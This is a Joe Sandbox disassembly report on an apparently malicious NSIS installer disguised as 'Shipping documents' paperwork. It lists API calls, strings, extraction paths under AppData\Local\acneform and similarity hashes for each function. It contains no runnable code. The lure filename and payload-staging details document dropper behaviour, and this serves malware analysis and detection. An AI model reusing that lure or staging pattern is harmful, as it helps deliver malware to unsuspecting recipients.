SendMessageW.USER32(?,00001024,00000000,?), ref: 00405832
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405854
ShowWindow.USER32(?,00000008), ref: 00405868
GetDlgItem.USER32(?,000003EC), ref: 00405889
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405899
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004058B2
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004058BE
GetDlgItem.USER32(?,000003F8), ref: 00405797

Part of subcall function 0040450B: SendMessageW.USER32(00000028,?,00000001,00404336), ref: 00404519

GetDlgItem.USER32(?,000003EC), ref: 004058DB
CreateThread.KERNELBASE(00000000,00000000,Function_000056AF,00000000), ref: 004058E9
CloseHandle.KERNELBASE(00000000), ref: 004058F0
ShowWindow.USER32(00000000), ref: 00405914
ShowWindow.USER32(?,00000008), ref: 00405919
ShowWindow.USER32(00000008), ref: 00405963
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405997
CreatePopupMenu.USER32 ref: 004059A8
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004059BC
GetWindowRect.USER32(?,?), ref: 004059DC
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059F5
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A2D
OpenClipboard.USER32(00000000), ref: 00405A3D
EmptyClipboard.USER32 ref: 00405A43
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A4F
GlobalLock.KERNEL32(00000000), ref: 00405A59
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A6D
GlobalUnlock.KERNEL32(00000000), ref: 00405A8D
SetClipboardData.USER32(0000000D,00000000), ref: 00405A98
CloseClipboard.USER32 ref: 00405A9E

Strings

{, xrefs: 00405981

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 6ac74cf2b0cd8326ebbb69d62323ae371d5bd3f712404c75dedbcee8fb33a3cc
Instruction ID: 234ab3d0ec1f6487b719ed7b99e1d6b4405f443d9e8d78e252fa94ab3ac4d3a1
Opcode Fuzzy Hash: 6ac74cf2b0cd8326ebbb69d62323ae371d5bd3f712404c75dedbcee8fb33a3cc
Instruction Fuzzy Hash: 34B139B1900608FFDB11AF60DD89AAE7B79FB48355F00813AFA41BA1A0C7785A51DF58

Function 00405C63 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"), ref: 00405C8C
lstrcatW.KERNEL32(0042EA70,\*.*,0042EA70,?,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"), ref: 00405CD4
lstrcatW.KERNEL32(?,0040A014,?,0042EA70,?,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"), ref: 00405CF7
lstrlenW.KERNEL32(?,?,0040A014,?,0042EA70,?,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"), ref: 00405CFD
FindFirstFileW.KERNEL32(0042EA70,?,?,?,0040A014,?,0042EA70,?,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"), ref: 00405D0D
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405DAD
FindClose.KERNEL32(00000000), ref: 00405DBC

Strings

"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe", xrefs: 00405C6C
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C70
pB, xrefs: 00405CBC
\*.*, xrefs: 00405CCE

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"$C:\Users\user\AppData\Local\Temp\$\*.*$pB
API String ID: 2035342205-4118179798
Opcode ID: 8ddda18a5e03c3094d99475b595a137c5d28125fbada97bd0876376ed00bff5b
Instruction ID: 3df5019795aaf58f6817f8e3609a5bcb0d9fa216103f8ca083ea3247371bac5c
Opcode Fuzzy Hash: 8ddda18a5e03c3094d99475b595a137c5d28125fbada97bd0876376ed00bff5b
Instruction Fuzzy Hash: 2441B231400A14BADB21BB65DC8DAAF7678EF81714F24813BF801B11D1DB7C4A81DEAE

Function 004068B4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,0042FAB8,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,00405F77,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,76233420,C:\Users\user\AppData\Local\Temp\), ref: 004068BF
FindClose.KERNEL32(00000000), ref: 004068CB

Strings

C:\Users\user\AppData\Local\Temp\nsi1309.tmp, xrefs: 004068B4

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nsi1309.tmp
API String ID: 2295610775-3576001853
Opcode ID: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction ID: 0f602bcf77736d61886636fd33b874369bd8b56ce32760b4adaf045605f9a717
Opcode Fuzzy Hash: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction Fuzzy Hash: 24D012725161309BC2406738AD0C84B7B58AF15331751CA37F56BF21E0D7348C6387A9

Function 00402910 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040291F

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: ace8a8367a08c0c3b8c33878fd122fec618c7fcc40fbfc74b5a987c147888bf4
Instruction ID: 4f8030157269cd498ea314d5a86e386b0cfb994e1dea9c94a4400a3869289cfc
Opcode Fuzzy Hash: ace8a8367a08c0c3b8c33878fd122fec618c7fcc40fbfc74b5a987c147888bf4
Instruction Fuzzy Hash: 17F08C71A04104AAD701EBE4EE499AEB378EF14324F60457BE102F31E0DBB85E159B2A

Function 00403FD7 Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404013
ShowWindow.USER32(?), ref: 00404033
GetWindowLongW.USER32(?,000000F0), ref: 00404045
ShowWindow.USER32(?,00000004), ref: 0040405E
DestroyWindow.USER32 ref: 00404072
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040408B
GetDlgItem.USER32(?,?), ref: 004040AA
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004040BE
IsWindowEnabled.USER32(00000000), ref: 004040C5
GetDlgItem.USER32(?,00000001), ref: 00404170
GetDlgItem.USER32(?,00000002), ref: 0040417A
SetClassLongW.USER32(?,000000F2,?), ref: 00404194
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041E5
GetDlgItem.USER32(?,00000003), ref: 0040428B
ShowWindow.USER32(00000000,?), ref: 004042AC
KiUserCallbackDispatcher.NTDLL(?,?), ref: 004042BE
EnableWindow.USER32(?,?), ref: 004042D9
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004042EF
EnableMenuItem.USER32(00000000), ref: 004042F6
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040430E
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404321
lstrlenW.KERNEL32(0042CA68,?,0042CA68,00000000), ref: 0040434B
SetWindowTextW.USER32(?,0042CA68), ref: 0040435F
ShowWindow.USER32(?,0000000A), ref: 00404493

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$EnableMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 121052019-0
Opcode ID: df8d1fa02ff149c62ea57a685de79d9d3ef227f732b6982a07419eaff96d62a7
Instruction ID: 911e0a6aef898d83942fe666095560f38e6effa11f08765efd6836b1f10f2e9c
Opcode Fuzzy Hash: df8d1fa02ff149c62ea57a685de79d9d3ef227f732b6982a07419eaff96d62a7
Instruction Fuzzy Hash: 29C1B0B1500204BBDB206F61EE89A2B3A68FB85756F01053EF781B51F0CB3958929B2D

Function 00403C29 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040694B: GetModuleHandleA.KERNEL32(?,00000020,?,00403642,0000000C,?,?,?,?,?,?,?,?), ref: 0040695D
Part of subcall function 0040694B: GetProcAddress.KERNEL32(00000000,?), ref: 00406978

lstrcatW.KERNEL32(1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,76233420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe",00008001), ref: 00403CAA
lstrlenW.KERNEL32(Exec,?,?,?,Exec,00000000,C:\Users\user\AppData\Local\acneform,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,76233420), ref: 00403D2A
lstrcmpiW.KERNEL32(?,.exe,Exec,?,?,?,Exec,00000000,C:\Users\user\AppData\Local\acneform,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000), ref: 00403D3D
GetFileAttributesW.KERNEL32(Exec), ref: 00403D48
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\acneform), ref: 00403D91

Part of subcall function 0040649E: wsprintfW.USER32 ref: 004064AB

RegisterClassW.USER32(004336A0), ref: 00403DCE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403DE6
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403E1B
ShowWindow.USER32(00000005,00000000), ref: 00403E51
GetClassInfoW.USER32(00000000,RichEdit20W,004336A0), ref: 00403E7D
GetClassInfoW.USER32(00000000,RichEdit,004336A0), ref: 00403E8A
RegisterClassW.USER32(004336A0), ref: 00403E93
DialogBoxParamW.USER32(?,00000000,00403FD7,00000000), ref: 00403EB2

Strings

C:\Users\user\AppData\Local\acneform, xrefs: 00403CB9, 00403CC1, 00403D64, 00403D6A, 00403D7A
.DEFAULT\Control Panel\International, xrefs: 00403C95
C:\Users\user\AppData\Local\Temp\, xrefs: 00403C2E
.exe, xrefs: 00403D37
RichEd20, xrefs: 00403E57
_Nb, xrefs: 00403DAD, 00403E15
"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe", xrefs: 00403C2C
Exec, xrefs: 00403CF1, 00403CFA, 00403D08, 00403D57, 00403D5D
1033, xrefs: 00403C49, 00403CA5
RichEdit, xrefs: 00403E84
RichEd32, xrefs: 00403E65
RichEdit20W, xrefs: 00403E75, 00403E7B
Control Panel\Desktop\ResourceLocale, xrefs: 00403C5D

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\acneform$Control Panel\Desktop\ResourceLocale$Exec$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-4230011955
Opcode ID: bbb1e3748a54a273649d0fbd54a0890110e87f86c4ca5900aa60a5a95311a30e
Instruction ID: b78af383561608ccb802af496d710159af2d94eef556b4765221653e5b422f1b
Opcode Fuzzy Hash: bbb1e3748a54a273649d0fbd54a0890110e87f86c4ca5900aa60a5a95311a30e
Instruction Fuzzy Hash: 9F61C270100640BED220AF66ED46F2B3A6CEB85B5AF50013FF945B62E2DB7C59418B6D

Function 00403082 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403093
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe,00000400), ref: 004030AF

Part of subcall function 00406047: GetFileAttributesW.KERNELBASE(00000003,004030C2,C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe,80000000,00000003), ref: 0040604B
Part of subcall function 00406047: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe,C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe,80000000,00000003), ref: 004030FB
GlobalAlloc.KERNELBASE(00000040,?), ref: 00403231

Strings

Null, xrefs: 00403179
Inst, xrefs: 00403167
"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe", xrefs: 00403088
C:\Users\user\AppData\Local\Temp\, xrefs: 00403089
Error launching installer, xrefs: 004030D2
C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe, xrefs: 00403099, 004030A8, 004030BC, 004030DC
soft, xrefs: 00403170
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403258
C:\Users\user\Desktop, xrefs: 004030DD, 004030E2, 004030E8

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-286970823
Opcode ID: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction ID: 68b8bf8592918c5e7f10339d86c9767fe938295b8d0ed8def850c2c8f1d184f5
Opcode Fuzzy Hash: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction Fuzzy Hash: 8251A071A00204ABDB20AF65DD85B9E7EACEB49356F10417BF900B62D1C77C9F408BAD

Function 00406594 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 204
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Exec,00000400), ref: 004066B6
GetWindowsDirectoryW.KERNEL32(Exec,00000400,00000000,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,?,?,00000000,00000000,00424620,762323A0), ref: 004066CC
SHGetPathFromIDListW.SHELL32(00000000,Exec), ref: 0040672A
CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 00406733
lstrcatW.KERNEL32(Exec,\Microsoft\Internet Explorer\Quick Launch,00000000,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,?,?,00000000,00000000,00424620,762323A0), ref: 0040675E
lstrlenW.KERNEL32(Exec,00000000,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,?,?,00000000,00000000,00424620,762323A0), ref: 004067B8

Strings

Exec, xrefs: 004065C1, 0040667B, 00406682, 00406686, 0040669F, 004066A0, 004066B5, 004066CB, 004066FC, 00406728, 0040675D, 00406763, 00406780, 00406793, 004067B1, 004067B7, 004067C0, 004067F5
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406687
Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll, xrefs: 004065B8
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406758

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: Exec$Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-1458689035
Opcode ID: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction ID: fc62ecdfc612bfadb4c03fc2fb2820e4449372332e166df7cb208319b666a0da
Opcode Fuzzy Hash: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction Fuzzy Hash: 7D612571A046009BD720AF24DD84B6A76E8EF95328F16053FF643B32D0DB7C9961875E

Function 004032B9 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403323
GetTickCount.KERNEL32 ref: 004033CA
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004033F3
wsprintfW.USER32 ref: 00403406

Strings

A, xrefs: 00403379
*B, xrefs: 004032E4
FB, xrefs: 004033A7, 004033C2, 0040343F
... %d%%, xrefs: 00403400
A, xrefs: 00403483

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ FB$ A$ A$... %d%%
API String ID: 551687249-3833040932
Opcode ID: 4d79547acdf73e44e2915cc23a34bb29038fe19ea0f8e502eb24a445e2a4333a
Instruction ID: 982be0e2f69b4341102b9ffd21d6361bbd2cc6e706b5ad6adcc0aeecd99e7a45
Opcode Fuzzy Hash: 4d79547acdf73e44e2915cc23a34bb29038fe19ea0f8e502eb24a445e2a4333a
Instruction Fuzzy Hash: 1A516F71910219EBCB11CF65DA44B9E7FB8AF04756F10827BE814BB2D1C7789A40CB99

Function 00401774 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Exec,C:\Users\user\AppData\Local\acneform\Baroco,?,?,00000031), ref: 004017B5
